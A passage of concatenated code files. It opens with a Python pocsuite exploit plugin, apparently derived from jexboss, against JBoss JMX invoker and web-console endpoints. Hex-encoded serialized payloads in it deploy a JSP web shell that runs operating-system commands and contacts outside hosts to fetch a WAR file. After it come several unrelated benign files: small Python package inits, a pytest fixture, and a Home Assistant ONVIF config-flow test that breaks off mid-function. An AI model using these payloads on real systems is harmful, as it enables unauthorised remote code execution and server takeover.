("\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e" "\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72\x73\x68\x61\x6c\x6c" "\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\xf6\x06\x95\x27\x41\x3e\xa4" "\xbe\x0c\x00\x00\x78\x70\x70\x77\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72" "\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72" "\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65" "\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65" "\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70") payload += ("\xe3\x2c\x60\xe6") if version == 0 else ("\x26\x95\xbe\x0a") payload += ( "\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61" "\x74\x69\x6f\x6e\x2e\x4d\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75" "\x65\xea\xcc\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x7a\x00\x00\x04\x00" "\x00\x00\x05\xaa\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e" "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29" "\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00\x1b\x6a\x61\x76\x61\x78" "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e" "\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x2c" "\x6a\x62\x6f\x73\x73\x2e\x61\x64\x6d\x69\x6e\x3a\x73\x65\x72\x76\x69\x63\x65" "\x3d\x44\x65\x70\x6c\x6f\x79\x6d\x65\x6e\x74\x46\x69\x6c\x65\x52\x65\x70\x6f" "\x73\x69\x74\x6f\x72\x79\x78\x74\x00\x05\x73\x74\x6f\x72\x65\x75\x71\x00\x7e" "\x00\x00\x00\x00\x00\x05\x74\x00\x0a\x6a\x65\x78\x69\x6e\x76\x2e\x77\x61\x72" "\x74\x00\x06\x6a\x65\x78\x69\x6e\x76\x74\x00\x04\x2e\x6a\x73\x70\x74\x04\x71" "\x3c\x25\x40\x20\x70\x61\x67\x65\x20\x69\x6d\x70\x6f\x72\x74\x3d\x22\x6a\x61" "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x2a\x2c\x6a\x61\x76\x61\x2e\x69\x6f\x2e\x2a" "\x2c\x20\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x2a\x22\x20\x70\x61\x67\x65\x45" "\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x55\x54\x46\x2d\x38\x22\x25\x3e\x3c\x70" "\x72\x65\x3e\x3c\x25\x69\x66\x28\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74" "\x50\x61\x72\x61\x6d\x65\x74\x65\x72\x28\x22\x70\x70\x70\x22\x29\x20\x21\x3d" "\x20\x6e\x75\x6c\x6c\x29\x7b\x20\x55\x52\x4c\x20\x75\x72\x6c\x20\x3d\x20\x6e" "\x65\x77\x20\x55\x52\x4c\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x65\x62\x73" "\x68\x65\x6c\x6c\x2e\x6a\x65\x78\x62\x6f\x73\x73\x2e\x6e\x65\x74\x2f\x22\x29" "\x3b\x20\x48\x74\x74\x70\x55\x52\x4c\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e" "\x20\x63\x68\x65\x63\x6b\x20\x3d\x20\x28\x48\x74\x74\x70\x55\x52\x4c\x43\x6f" "\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x29\x20\x75\x72\x6c\x2e\x6f\x70\x65\x6e\x43" "\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x28\x29\x3b\x20\x53\x74\x72\x69\x6e\x67" "\x20\x77\x72\x69\x74\x65\x70\x65\x72\x6d\x69\x73\x73\x69\x6f\x6e\x20\x3d\x20" "\x28\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x2e\x74\x6f\x53\x74\x72\x69\x6e" "\x67\x28\x29\x2e\x73\x70\x6c\x69\x74\x28\x22\x3a\x22\x29\x5b\x30\x5d\x2b\x22" "\x68\x2e\x6c\x6f\x67\x22\x29\x2e\x72\x65\x70\x6c\x61\x63\x65\x41\x6c\x6c\x28" "\x22\x20\x22\x2c\x20\x22\x2d\x22\x29\x3b\x20\x53\x74\x72\x69\x6e\x67\x20\x73" "\x68\x5b\x5d\x20\x3d\x20\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61" "\x72\x61\x6d\x65\x74\x65\x72\x28\x22\x70\x70\x70\x22\x29\x2e\x73\x70\x6c\x69" "\x74\x28\x22\x20\x22\x29\x3b\x20\x63\x68\x65\x63\x6b\x2e\x73\x65\x74\x52\x65" "\x71\x75\x65\x73\x74\x50\x72\x6f\x70\x65\x72\x74\x79\x28\x22\x55\x73\x65\x72" "\x2d\x41\x67\x65\x6e\x74\x22\x2c\x20\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65" "\x74\x48\x65\x61\x64\x65\x72\x28\x22\x48\x6f\x73\x74\x22\x29\x2b\x22\x3c\x2d" "\x22\x2b\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x52\x65\x6d\x6f\x74\x65" "\x41\x64\x64\x72\x28\x29\x29\x3b\x20\x69\x66\x20\x28\x21\x6e\x65\x77\x20\x46" "\x69\x6c\x65\x28\x22\x63\x68\x65\x63\x6b\x5f\x22\x2b\x77\x72\x69\x74\x65\x70" "\x65\x72\x6d\x69\x73\x73\x69\x6f\x6e\x29\x2e\x65\x78\x69\x73\x74\x73\x28\x29" "\x29\x7b\x20\x50\x72\x69\x6e\x74\x57\x72\x69\x74\x65\x72\x20\x77\x72\x69\x74" "\x65\x72\x20\x3d\x20\x6e\x65\x77\x20\x50\x72\x69\x6e\x74\x57\x72\x69\x74\x65" "\x72\x28\x22\x63\x68\x65\x63\x6b\x5f\x22\x2b\x77\x72\x69\x74\x65\x70\x65\x72" "\x6d\x69\x73\x73\x69\x6f\x6e\x29\x3b\x20\x63\x68\x65\x63\x6b\x2e\x67\x65\x74" "\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x3b\x20\x77\x72\x69\x74" "\x65\x72\x2e\x63\x6c\x6f\x73\x65\x28\x29\x3b\x20\x7d\x20\x65\x6c\x73\x65\x20" "\x69\x66\x20\x28\x73\x68\x5b\x30\x5d\x2e\x63\x6f\x6e\x74\x61\x69\x6e\x73\x28" "\x22\x69\x64\x22\x29\x20\x7c\x7c\x20\x73\x68\x5b\x30\x5d\x2e\x63\x6f\x6e\x74" "\x61\x69\x6e\x73\x28\x22\x69\x70\x63\x6f\x6e\x66\x69\x67\x22\x29\x29\x20\x63" "\x68\x65\x63\x6b\x2e\x67\x65\x74\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d" "\x28\x29\x3b\x20\x74\x72\x79\x20\x7b\x20\x50\x72\x6f\x63\x65\x73\x73\x20\x70" "\x3b\x20\x69\x66\x20\x28\x53\x79\x73\x74\x65\x6d\x2e\x67\x65\x74\x50\x72\x6f" "\x70\x65\x72\x74\x79\x28\x22\x6f\x73\x2e\x6e\x61\x6d\x65\x22\x29\x2e\x74\x6f" "\x4c\x6f\x77\x65\x72\x43\x61\x73\x65\x28\x29\x2e\x69\x6e\x64\x65\x78\x4f\x66" "\x28\x22\x77\x69\x6e\x22\x29\x20\x3e\x20\x30\x29\x7b\x20\x70\x20\x3d\x20\x52" "\x75\x6e\x74\x69\x6d\x65\x2e\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x7a\x00" "\x00\x01\xb2\x28\x29\x2e\x65\x78\x65\x63\x28\x22\x63\x6d\x64\x2e\x65\x78\x65" "\x20\x2f\x63\x20\x22\x2b\x73\x68\x29\x3b\x20\x7d\x20\x65\x6c\x73\x65\x20\x7b" "\x70\x20\x3d\x20\x52\x75\x6e\x74\x69\x6d\x65\x2e\x67\x65\x74\x52\x75\x6e\x74" "\x69\x6d\x65\x28\x29\x2e\x65\x78\x65\x63\x28\x73\x68\x29\x3b\x7d\x20\x42\x75" "\x66\x66\x65\x72\x65\x64\x52\x65\x61\x64\x65\x72\x20\x64\x20\x3d\x20\x6e\x65" "\x77\x20\x42\x75\x66\x66\x65\x72\x65\x64\x52\x65\x61\x64\x65\x72\x28\x6e\x65" "\x77\x20\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x52\x65\x61\x64\x65\x72" "\x28\x70\x2e\x67\x65\x74\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29" "\x29\x29\x3b\x20\x53\x74\x72\x69\x6e\x67\x20\x64\x69\x73\x72\x20\x3d\x20\x64" "\x2e\x72\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x77\x68\x69\x6c\x65\x20" "\x28\x64\x69\x73\x72\x20\x21\x3d\x20\x6e\x75\x6c\x6c\x29\x20\x7b\x20\x6f\x75" "\x74\x2e\x70\x72\x69\x6e\x74\x6c\x6e\x28\x64\x69\x73\x72\x29\x3b\x20\x64\x69" "\x73\x72\x20\x3d\x20\x64\x2e\x72\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20" "\x7d\x20\x7d\x63\x61\x74\x63\x68\x28\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x20" "\x65\x29\x20\x7b\x6f\x75\x74\x2e\x70\x72\x69\x6e\x74\x6c\x6e\x28\x22\x55\x6e" "\x6b\x6e\x6f\x77\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x2e\x22\x29\x3b\x7d\x7d" "\x25\x3e\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x42\x6f\x6f" "\x6c\x65\x61\x6e\xcd\x20\x72\x80\xd5\x9c\xfa\xee\x02\x00\x01\x5a\x00\x05\x76" "\x61\x6c\x75\x65\x78\x70\x01\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" "\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47" "\x02\x00\x00\x78\x70\x00\x00\x00\x05\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61" "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00\x7e\x00\x0f" "\x71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65\x61\x6e\x69\x0e\x8b\x92" "\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67\x2e" "\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e" "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8\xfb\x72\x84\xd7\x93\x85\xf9" "\x02\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x04" "\x70\x78") headers = {"Content-Type": "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue", "Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2", "Connection": "keep-alive", "User-Agent": user_agents[randint(0, len(user_agents) - 1)]} r = pool.urlopen('POST', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload) result = r.status if result == 401: pass pool.urlopen('HEAD', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload) return self.get_successfully(url, "/jexinv/jexinv.jsp") def exploit_web_console_invoker(self,url): """ Exploits web console invoker Does not work in JBoss 5 (bug in JBoss5) :param url: The URL to exploit :return: The HTTP status code """ payload = ( "\xac\xed\x00\x05\x73\x72\x00\x2e\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e" "\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x72\x65\x6d\x6f\x74\x65\x2e\x52\x65\x6d\x6f" "\x74\x65\x4d\x42\x65\x61\x6e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\xe0\x4f" "\xa3\x7a\x74\xae\x8d\xfa\x02\x00\x04\x4c\x00\x0a\x61\x63\x74\x69\x6f\x6e\x4e" "\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" "\x72\x69\x6e\x67\x3b\x5b\x00\x06\x70\x61\x72\x61\x6d\x73\x74\x00\x13\x5b\x4c" "\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x5b\x00" "\x09\x73\x69\x67\x6e\x61\x74\x75\x72\x65\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61" "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x10\x74\x61\x72" "\x67\x65\x74\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x74\x00\x1d\x4c\x6a\x61" "\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2f\x4f\x62\x6a\x65" "\x63\x74\x4e\x61\x6d\x65\x3b\x78\x70\x74\x00\x06\x64\x65\x70\x6c\x6f\x79\x75" "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65" "\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00" "\x01\x73\x72\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c\x96\x25" "\x37\x36\x1a\xfc\xe4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6f\x64" "\x65\x49\x00\x04\x70\x6f\x72\x74\x4c\x00\x09\x61\x75\x74\x68\x6f\x72\x69\x74" "\x79\x71\x00\x7e\x00\x01\x4c\x00\x04\x66\x69\x6c\x65\x71\x00\x7e\x00\x01\x4c" "\x00\x04\x68\x6f\x73\x74\x71\x00\x7e\x00\x01\x4c\x00\x08\x70\x72\x6f\x74\x6f" "\x63\x6f\x6c\x71\x00\x7e\x00\x01\x4c\x00\x03\x72\x65\x66\x71\x00\x7e\x00\x01" "\x78\x70\xff\xff\xff\xff\xff\xff\xff\xff\x74\x00\x0e\x6a\x6f\x61\x6f\x6d\x61" "\x74\x6f\x73\x66\x2e\x63\x6f\x6d\x74\x00\x0e\x2f\x72\x6e\x70\x2f\x6a\x65\x78" "\x77\x73\x2e\x77\x61\x72\x71\x00\x7e\x00\x0b\x74\x00\x04\x68\x74\x74\x70\x70" "\x78\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" "\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00" "\x00\x00\x01\x74\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c\x73" "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" "\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf" "\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73\x73\x2e\x73\x79\x73\x74\x65" "\x6d\x3a\x73\x65\x72\x76\x69\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f" "\x79\x65\x72\x78") headers = { "Content-Type": "application/x-java-serialized-object; class=org.jboss.console.remote.RemoteMBeanInvocation", "Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2", "Connection": "keep-alive", "User-Agent": user_agents[randint(0, len(user_agents) - 1)]} r = pool.urlopen('POST', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload) result = r.status if result == 401: pass pool.urlopen('HEAD', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload) return self.get_successfully(url, "/jexws/jexws.jsp") def auto_exploit(self,url, exploit_type): result = 505 if exploit_type == "jmx-console": result = self.exploit_jmx_console_file_repository(url) if result != 200 and result != 500: result = self.exploit_jmx_console_main_deploy(url) elif exploit_type == "web-console": result = self.exploit_web_console_invoker(url) elif exploit_type == "JMXInvokerServlet": result = self.exploit_jmx_invoker_file_repository(url, 0) if result != 200 and result != 500: result = self.exploit_jmx_invoker_file_repository(url, 1) if result == 200 or result == 500: return True def poc(self,url): """ Test if a GET to a URL is successful :param url: The URL to test :return: A dict with the exploit type as the keys, and the HTTP status code as the value """ headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive", "User-Agent": user_agents[randint(0, len(user_agents) - 1)]} paths = {"jmx-console": "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo", "web-console": "/web-console/ServerInfo.jsp", "JMXInvokerServlet": "/invoker/JMXInvokerServlet"} step1 = False exploit_type = '' for i in paths.keys(): try: r = pool.request('HEAD', url + str(paths[i]), redirect=True, headers=headers, timeout=3) paths[i] = r.status if paths[i] == 200 or paths[i] == 500: step1 = True exploit_type = str(i) else: pass except Exception: paths[i] = 505 if step1: step2 = False try: step2 = self.auto_exploit(url, exploit_type) except Exception, e: pass return step2 else: return False #验证漏洞 pocsuite -r 13-JBoss-serialization-getshell.py -u 1.197.56.123:8087 --verify def _verify(self): #定义返回结果 result = {} #获取漏洞url vul_url = '%s' % self.url #如果设置端口则取端口,没有设置则为默认端口 import re from pocsuite.lib.utils.funs import url2ip _port = re.findall(':(\d+)\s*', vul_url) if len(_port) != 0: _host = url2ip(vul_url)[0] _port = url2ip(vul_url)[1] else : _host = url2ip(vul_url) _port = "8087" vul_host = _host + ":" + _port #print vul_host try: vul_result = self.poc(vul_host) except Exception, e: vul_result = False if vul_result: #print u"发现漏洞" result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = vul_url result['VerifyInfo']['Payload'] = vul_host + "https://github.com/joaomatosf/jexboss" #print r_content #from bs4 import BeautifulSoup #soup = BeautifulSoup(r_content,'html.parser') #print soup.h1.string print '[+]13 poc done' return self.save_output(result) #漏洞攻击 def _attack(self): result = {} # 攻击代码 # https://github.com/joaomatosf/jexboss return self._verify() def save_output(self, result): #判断有无结果并输出 output = Output(self) if result: output.success(result) else: output.fail() return output register(JbossPOC)

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null

0

1

0

6

863265fec69e3c88b700b8a9630a14290000cba9

75

py

Python

Python/thread.py

santoshgawande/DS-Algorithms

eb1de229fd3336d862bd4787295f208a4424d0bb

[ "Apache-2.0" ]

null

Python/thread.py

santoshgawande/DS-Algorithms

eb1de229fd3336d862bd4787295f208a4424d0bb

[ "Apache-2.0" ]

null

Python/thread.py

santoshgawande/DS-Algorithms

eb1de229fd3336d862bd4787295f208a4424d0bb

[ "Apache-2.0" ]

null

import _thread print(dir(_thread)) import threading print(dir(threading))

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5.8

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6

8661c5052bfef444aee5ba496e134425f6dd1677

143

py

Python

oembed/image_processors/__init__.py

EightMedia/djangoembed

ee325f7375c48405f9c3e7e2c0fa7f5a08fafd48

[ "MIT" ]

8

2015-02-06T19:18:49.000Z

2021-01-01T05:46:02.000Z

oembed/image_processors/__init__.py

ericholscher/djangoembed

8d6c3edcde782285076445577c4a2ad1c96a0350

[ "MIT" ]

null

oembed/image_processors/__init__.py

ericholscher/djangoembed

8d6c3edcde782285076445577c4a2ad1c96a0350

[ "MIT" ]

5

2015-03-15T11:41:26.000Z

2018-03-08T09:45:26.000Z

from oembed.constants import OEMBED_IMAGE_PROCESSOR from oembed.utils import load_class image_processor = load_class(OEMBED_IMAGE_PROCESSOR)

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null

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6

8681a52bd070b65ed1fa8dafc44cd06a3c8b061f

73

py

Python

config/__init__.py

Neuralearn/PAN.pytorch

111a85f6d186d9043f82416e14644ebf19975b58

[ "Apache-2.0" ]

419

2019-08-24T02:56:28.000Z

2022-03-27T17:46:26.000Z

config/__init__.py

Neuralearn/PAN.pytorch

111a85f6d186d9043f82416e14644ebf19975b58

[ "Apache-2.0" ]

43

2019-08-25T15:46:14.000Z

2021-09-29T14:11:21.000Z

config/__init__.py

Neuralearn/PAN.pytorch

111a85f6d186d9043f82416e14644ebf19975b58

[ "Apache-2.0" ]

126

2019-08-24T16:52:34.000Z

2021-09-20T21:44:40.000Z

# -*- coding: utf-8 -*- # @Time : 2019/8/23 21:50 # @Author : zhoujun

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6

86a3d6625dfdfac0591f77bcbcdbf29113ac1e3e

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py

Python

django_morepath/__init__.py

morepath/django-morepath

8f575684a032af1d1cfa97ba3e9e132096572e7e

[ "BSD-3-Clause" ]

2

2020-01-16T16:00:59.000Z

2020-01-19T18:24:08.000Z

django_morepath/__init__.py

morepath/django-morepath

8f575684a032af1d1cfa97ba3e9e132096572e7e

[ "BSD-3-Clause" ]

null

django_morepath/__init__.py

morepath/django-morepath

8f575684a032af1d1cfa97ba3e9e132096572e7e

[ "BSD-3-Clause" ]

null

from .views import make_morepath_view # noqa

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6

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py

Python

tests/conftest.py

unparalleled-js/ape-demo-erc20

d2bfb04497d64cef3096f92784ffeda2f4deb490

[ "MIT" ]

1

2022-03-09T14:29:30.000Z

tests/conftest.py

unparalleled-js/ape-demo-erc20

d2bfb04497d64cef3096f92784ffeda2f4deb490

[ "MIT" ]

null

tests/conftest.py

unparalleled-js/ape-demo-erc20

d2bfb04497d64cef3096f92784ffeda2f4deb490

[ "MIT" ]

null

import pytest @pytest.fixture def owner(accounts): return accounts[0] @pytest.fixture def token(owner, project): return owner.deploy(project.Token)

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d4a90ce81c6e8b67f84b1307b33ebc009055d1b3

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py

Python

tests/components/onvif/test_config_flow.py

MrDelik/core

93a66cc357b226389967668441000498a10453bb

[ "Apache-2.0" ]

3

2020-11-27T06:26:27.000Z

2020-12-09T14:55:16.000Z

tests/components/onvif/test_config_flow.py

MrDelik/core

93a66cc357b226389967668441000498a10453bb

[ "Apache-2.0" ]

25

2021-10-02T10:01:14.000Z

2022-03-31T06:11:49.000Z

tests/components/onvif/test_config_flow.py

MrDelik/core

93a66cc357b226389967668441000498a10453bb

[ "Apache-2.0" ]

3

2022-01-02T18:49:54.000Z

2022-01-25T02:03:54.000Z

"""Test ONVIF config flow.""" from unittest.mock import MagicMock, patch from onvif.exceptions import ONVIFError from zeep.exceptions import Fault from homeassistant import config_entries, data_entry_flow from homeassistant.components.onvif import config_flow from . import ( HOST, MAC, NAME, PASSWORD, PORT, SERIAL_NUMBER, URN, USERNAME, setup_mock_device, setup_mock_onvif_camera, setup_onvif_integration, ) DISCOVERY = [ { "EPR": URN, config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, "MAC": MAC, }, { "EPR": "urn:uuid:987654321", config_flow.CONF_NAME: "TestCamera2", config_flow.CONF_HOST: "5.6.7.8", config_flow.CONF_PORT: PORT, "MAC": "ee:dd:cc:bb:aa", }, ] def setup_mock_discovery( mock_discovery, with_name=False, with_mac=False, two_devices=False ): """Prepare mock discovery result.""" services = [] for item in DISCOVERY: service = MagicMock() service.getXAddrs = MagicMock( return_value=[ f"http://{item[config_flow.CONF_HOST]}:{item[config_flow.CONF_PORT]}/onvif/device_service" ] ) service.getEPR = MagicMock(return_value=item["EPR"]) scopes = [] if with_name: scope = MagicMock() scope.getValue = MagicMock( return_value=f"onvif://www.onvif.org/name/{item[config_flow.CONF_NAME]}" ) scopes.append(scope) if with_mac: scope = MagicMock() scope.getValue = MagicMock( return_value=f"onvif://www.onvif.org/mac/{item['MAC']}" ) scopes.append(scope) service.getScopes = MagicMock(return_value=scopes) services.append(service) mock_discovery.return_value = services async def test_flow_discovered_devices(hass): """Test that config flow works for discovered devices.""" result = await hass.config_entries.flow.async_init( config_flow.DOMAIN, context={"source": config_entries.SOURCE_USER} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" with patch( "homeassistant.components.onvif.config_flow.get_device" ) as mock_onvif_camera, patch( "homeassistant.components.onvif.config_flow.wsdiscovery" ) as mock_discovery, patch( "homeassistant.components.onvif.ONVIFDevice" ) as mock_device: setup_mock_onvif_camera(mock_onvif_camera) setup_mock_discovery(mock_discovery) setup_mock_device(mock_device) result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={"auto": True} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "device" assert len(result["data_schema"].schema[config_flow.CONF_HOST].container) == 3 result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={config_flow.CONF_HOST: f"{URN} ({HOST})"} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "configure" with patch( "homeassistant.components.onvif.async_setup", return_value=True ) as mock_setup, patch( "homeassistant.components.onvif.async_setup_entry", return_value=True ) as mock_setup_entry: result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={ config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, }, ) await hass.async_block_till_done() assert len(mock_setup.mock_calls) == 1 assert len(mock_setup_entry.mock_calls) == 1 assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY assert result["title"] == f"{URN} - {MAC}" assert result["data"] == { config_flow.CONF_NAME: URN, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, } async def test_flow_discovered_devices_ignore_configured_manual_input(hass): """Test that config flow discovery ignores configured devices.""" await setup_onvif_integration(hass) result = await hass.config_entries.flow.async_init( config_flow.DOMAIN, context={"source": config_entries.SOURCE_USER} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" with patch( "homeassistant.components.onvif.config_flow.get_device" ) as mock_onvif_camera, patch( "homeassistant.components.onvif.config_flow.wsdiscovery" ) as mock_discovery, patch( "homeassistant.components.onvif.ONVIFDevice" ) as mock_device: setup_mock_onvif_camera(mock_onvif_camera) setup_mock_discovery(mock_discovery, with_mac=True) setup_mock_device(mock_device) result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={"auto": True} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "device" assert len(result["data_schema"].schema[config_flow.CONF_HOST].container) == 2 result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={config_flow.CONF_HOST: config_flow.CONF_MANUAL_INPUT}, ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "configure" async def test_flow_discovered_no_device(hass): """Test that config flow discovery no device.""" await setup_onvif_integration(hass) result = await hass.config_entries.flow.async_init( config_flow.DOMAIN, context={"source": config_entries.SOURCE_USER} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" with patch( "homeassistant.components.onvif.config_flow.get_device" ) as mock_onvif_camera, patch( "homeassistant.components.onvif.config_flow.wsdiscovery" ) as mock_discovery, patch( "homeassistant.components.onvif.ONVIFDevice" ) as mock_device: setup_mock_onvif_camera(mock_onvif_camera) mock_discovery.return_value = [] setup_mock_device(mock_device) result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={"auto": True} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "configure" async def test_flow_discovery_ignore_existing_and_abort(hass): """Test that config flow discovery ignores setup devices.""" await setup_onvif_integration(hass) await setup_onvif_integration( hass, config={ config_flow.CONF_NAME: DISCOVERY[1]["EPR"], config_flow.CONF_HOST: DISCOVERY[1][config_flow.CONF_HOST], config_flow.CONF_PORT: DISCOVERY[1][config_flow.CONF_PORT], config_flow.CONF_USERNAME: "", config_flow.CONF_PASSWORD: "", }, unique_id=DISCOVERY[1]["MAC"], entry_id="2", ) result = await hass.config_entries.flow.async_init( config_flow.DOMAIN, context={"source": config_entries.SOURCE_USER} ) assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "user" with patch( "homeassistant.components.onvif.config_flow.get_device" ) as mock_onvif_camera, patch( "homeassistant.components.onvif.config_flow.wsdiscovery" ) as mock_discovery, patch( "homeassistant.components.onvif.ONVIFDevice" ) as mock_device: setup_mock_onvif_camera(mock_onvif_camera) setup_mock_discovery(mock_discovery, with_name=True, with_mac=True) setup_mock_device(mock_device) result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={"auto": True} ) # It should skip to manual entry if the only devices are already configured assert result["type"] == data_entry_flow.RESULT_TYPE_FORM assert result["step_id"] == "configure" result = await hass.config_entries.flow.async_configure( result["flow_id"], user_input={ config_flow.CONF_NAME: NAME, config_flow.CONF_HOST: HOST, config_flow.CONF_PORT: PORT, config_flow.CONF_USERNAME: USERNAME, config_flow.CONF_PASSWORD: PASSWORD, }, ) # It should abort if already configured and entered manually assert result["type"] == data_entry_flow.RESULT_TYPE_ABORT async def test_flow_manual_entry(hass): """Test that config flow works for discovered devices.""" result = await 